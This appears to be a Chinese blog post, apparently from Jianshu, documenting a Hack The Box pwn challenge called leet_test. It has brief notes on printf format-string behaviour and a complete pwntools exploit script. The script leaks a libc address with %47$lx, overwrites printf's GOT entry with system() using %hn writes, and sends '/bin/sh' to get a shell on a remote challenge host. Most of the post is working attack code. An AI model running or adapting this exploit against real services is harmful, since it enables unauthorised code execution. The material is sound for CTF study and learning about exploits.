美文网首页
HTB leet_test

HTB leet_test

作者: clive0x | 来源:发表于2021-08-11 18:06 被阅读0次

这道题很有意思,格式化漏洞利用,遗漏知识点

1.main的返回地址是__libc_start_main_ret(有些机器通过__libc_start_main获取不到libc地址)。

2.format string:printf(fmt,...)   如果不指定位置,如%x%p%d,从stack上第一个参数开始

%x%1$n%p%2$n%d,除了指定位置如%1$n,其他都是从stack上地一个参数开始。

%x =>1 param

%p=>2 param

%d=>3 param。

3.printf()函数,会在stack上放置fmt和vargs。

4.要想获取正确rbp,须得在后续函数调用中拿到,前须函数不一定正确,如本题main()->printf(),main push rbp可能是__libc_start_main中设置的垃圾数据。

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template --host 167.99.88.212 --port 31369 space

from pwn import *

from pwnlib import libcdb

# Set up pwntools for the correct architecture

exe=ELF('/home/ccc/htb/trackers/leet_test')

context.binary=exe.path

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# ./exploit.py GDB HOST=example.com PORT=4141

host = args.HOST or '139.59.166.56'

port = int(args.PORT or 32606)

def local(argv=[], *a, **kw):

    '''Execute the target binary locally'''

    if args.GDB:

        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):

    '''Connect to the process on the remote host'''

    io = connect(host, port)

    if args.GDB:

        gdb.attach(io, gdbscript=gdbscript)

    return io

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.LOCAL:

        return local(argv, *a, **kw)

    else:

        return remote(argv, *a, **kw)

def get_libcstartmain_ret_addr():

    payload = "%47$lx"

    io.sendlineafter(b"name: ",payload)

    ret = io.recvline();

    ret=ret[7:-1]

    print(ret)

    __libc_start_main_ret=int(ret,16)

    print(hex(__libc_start_main_ret))

    return __libc_start_main_ret

def get_format_addr():

    payload = "%4$lx"

    io.sendlineafter(b"name: ",payload)

    ret = io.recvline();

    ret=ret[7:-1]

    print(ret)

    format_addr=int(ret,16)

    print(hex(format_addr))

    return format_addr

def set_printf_got_to_system():

    system_bytes=struct.pack(">Q",system_addr)

    system_bytes_0=system_bytes[2:4]

    system_bytes_2=system_bytes[4:6]

    system_bytes_4=system_bytes[6:]

    system_0=struct.unpack(">H", system_bytes_0)[0]

    system_2=struct.unpack(">H", system_bytes_2)[0]

    system_4=struct.unpack(">H", system_bytes_4)[0]

    offset = {system_0:20,system_2:19,system_4:18}

    li=sorted([system_0,system_2,system_4])

    min_v=li[0]

    mid_v=li[1]

    max_v=li[2]

    payload= b'/bin/sh;#      '

    #min bytes

    tmp=min_v-0x10

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[min_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp

    #mid bytes

    tmp=8 if mid_v-min_v<8 else mid_v-min_v

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[mid_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp

    #max bytes

    tmp=8 if max_v-mid_v<8 else max_v-mid_v

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[max_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp   

    payload += p64(printf_got)

    payload += p64(printf_got_2)

    payload += p64(printf_got_4)

    print(payload)

    io.sendlineafter(b"name: ",payload)

    ret= io.recvline()

    print(ret)

    io.interactive()

    payload= b'/bin/sh;#      '

    io.sendlineafter(b"name: ",payload)

    io.interactive()

    print(ret)

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:    i386-32-little

# RELRO:    No RELRO

# Stack:    No canary found

# NX:      NX disabled

# PIE:      No PIE (0x8048000)

# RWX:      Has RWX segments

io = start()

    # io = gdb.debug(exe.path ,gdbscript='''

    #                hbreak *0x4012CA

    #                hbreak *0x401374

    #              continue

    #                ''')

    #format_str_addr=get_format_addr()

    #

    # setRandomNumber()

    #set()

libc_start_main_addr=get_libcstartmain_ret_addr()

libc_start_main_offset=0x270b3

libc_addr=libc_start_main_addr-libc_start_main_offset

system_offset=0x55410

system_addr=libc_addr+system_offset

printf_got=0x404020

printf_got_2=0x404022

printf_got_4=0x404024

set_printf_got_to_system()

相关文章

  • HTB leet_test

    这道题很有意思,格式化漏洞利用,遗漏知识点 1.main的返回地址是__libc_start_main_ret(有...

  • Bank(Clear Text Credentials,SUID

    开放端口 详细端口信息 DNS 首先按照htb的习惯,我们假定靶机的域名是bank.htb,依此执行Zone Tr...

  • 多图插入的free style实现

    \begin{figure}[htb]\centering %该句也可以删,确保居中\subfloat{\incl...

  • 0x00-HackTheBox-GetInviteCode

    Check out my video!!! - 0x00-HTB-GetInviteCode My input m...

  • htb optimistic

    这道题考察两个知识点: 1。int与unsigned int比较,用负数跳过比较,实现大量输入。 2。输入变相限制...

  • HTB REG

    通过 puts got 0x7fcc5db3e5a0泄漏出libc版本和地址 在https://libc.rip/...

  • HTB pwnshop

    #!/usr/bin/env python # -*- coding: utf-8 -*- # This expl...

  • 【HTB】Explore

    免责声明 本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任...

  • TCP 流控

    tc qdisc add dev mgbe3_0 root handle 0: htb default 30tc ...

  • latex表格的首行和内容无法对对齐的情况

    先写在这里,之后再补充吧,截图实在不方便; \begin{table}[htb]\scriptsize\cente...

网友评论

      本文标题:HTB leet_test

      本文链接:https://www.haomeiwen.com/subject/erbcbltx.html